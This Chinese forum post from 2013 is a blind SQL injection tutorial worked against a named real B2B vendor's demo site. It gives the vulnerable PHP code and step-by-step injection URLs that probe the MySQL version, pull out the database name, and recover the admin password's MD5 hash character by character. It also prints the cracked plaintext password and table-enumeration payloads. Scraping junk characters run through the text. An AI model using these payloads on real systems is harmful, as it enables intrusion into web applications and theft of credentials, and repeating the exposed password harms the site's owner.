|
|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据，本文出于讲解的目的，使用更麻烦的盲注。- L- `: z$ c& A- H' K
阅读本文，需要有一点点SQL基础。盲注理解起来其实非常简单，就是做起来非常费劲
: m5 t+ r/ {1 H2 w! @. B作者：YoCo Smart. r( _5 U/ I$ r+ w/ L2 U% v
来自：习科信息技术 - http://BlackBap.Org+ V6 T) H; M6 c! E9 Y+ K) W
我们先来看注入点，是一个B2B网站建站公司： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
$ l- n" r3 Z) @2 Y2 d0 e* |% ]
! ?# ~3 E2 s) s' Z7 l9 V, J复制代码7 U" P2 v( L) t1 O, E/ J9 @
错误提示已经很明了了。我们看一下注入页面的代码（有删改）： - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }! b: G. r7 p- k# H( W" g
S/ r; h) p5 ?复制代码
+ [' ^8 R/ j* q以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行，并且MySQL也执行了，但是并没有显示数据库的任何信息，而是判断是否符合
2 Z3 N3 V+ h: s1 T. s: y那么我们先从union的盲注来看吧。
" V2 a4 C" e5 D* g. a1 l1 x( r. {, ^先看版本： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
2 B2 v7 ?+ }* D* C. y% v
W9 B0 E0 c6 A; t" c" b. N
复制代码9 T- K1 g3 e1 E- \
这个时候我们来看看原来的代码中的SQL语句是怎么执行的： - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
+ I) V& ]6 g& c
+ M: s4 F4 f+ n# j. b
复制代码9 P. G( T/ s* `: g; ]& `
因为执行成功，所以不符合if(!$num)这个条件，回显“用户名已被注册”，那么版本为5成立
* \. @# u' `$ B再来看database()的数据： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
' U6 e: G7 d) n! v5 U$ m- K
$ s: m3 [9 e3 f; D s
复制代码1 G8 z7 D. ?# E8 [- C
length()函数是计算括号中数据的长度，回显为纯数字，可以用大于小于和等于号来判断是否正确。) m; K- ^! ~6 b# u: H! S# w/ q
这里要注意看一下left()函数中的数字变化，关于left()函数，可以自行参考MySQL手册。
# U( B" ~4 S" [! \再来看一点简单的判断句： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'2 t* ? G) f( r3 J" O
3 B- z' u5 c& C. {: _
复制代码
/ z/ R& ^. s& l! A; o这个时候length()函数中的pass是猜测的，当然是建立在猜测正确的基础上。
, ~% u/ d6 A4 W. C, l这里要说的是，pass和前面select后的userid同属一个表段demo_b2b_admin，所以不需要再带select语句- M' ]! ?6 D# D. K, }4 w% A3 [* ?1 V7 G
那么这里就能得到： - 这里最后没有'#这个终止符，大家带进去看一下，你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32，是md5加密，解密得到lcl2wly! h$ w7 L5 n5 M7 a7 L
' |, i5 w, q9 Q- O* P4 `4 t1 Q$ Z
复制代码
# P/ ~" D$ H7 ^& v这样，猜数据的方法你肯定是懂了: o+ i0 Z! w8 h4 _* `/ @6 j; o
( n0 k8 `+ O/ V/ X h: ]$ V7 J
2 p) l. _4 _" u9 G5 S2 d3 d
最后，我们来看demo_b2b_admin以外的数据，现在再来猜表段： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
0 O" X3 Q0 k5 M7 h0 M2 f
" N" i) k9 y' y, _% J! v2 q' n复制代码
, j7 |5 B% n0 J2 G- m3 _2 H' }7 K; U实际运行的SQL语句就是： - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'' Z5 R: r4 L. [' q0 i
; F) [% v( {! I. Q" H4 s7 o+ M& |+ K复制代码8 l4 z( Y: A9 M* P2 {
上面这个语句，对于information_schema不明白的，可以参考其他MySQL注入文章来看一下这个库的意义。1 ^( N% y0 |( i' V0 c" ~: ?
关于limit x,y 的用法，可以参考MySQL手册
+ J8 C0 A& O( z. z2 \6 S q, l( [$ |( G( E( H. C, H9 r
最后剩下的要说的就是ascii函数和hex函数了
. M* C0 l, A7 M7 R+ Z$ K这两个函数的意义是避开php的GPC转义，例如： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#) |: i/ V7 h; B# A+ V
7 z, U% i8 N Z& B* J1 {6 l7 i复制代码
- ^: _1 G" l* W, H: T. n$ fsubstr()的用法可以参考MySQL手册，如果不懂，就这样套好了。Char()里面的数字替换为ascii码数字 |
|
发表于 2013-9-25 13:52:56
收藏
支持
反对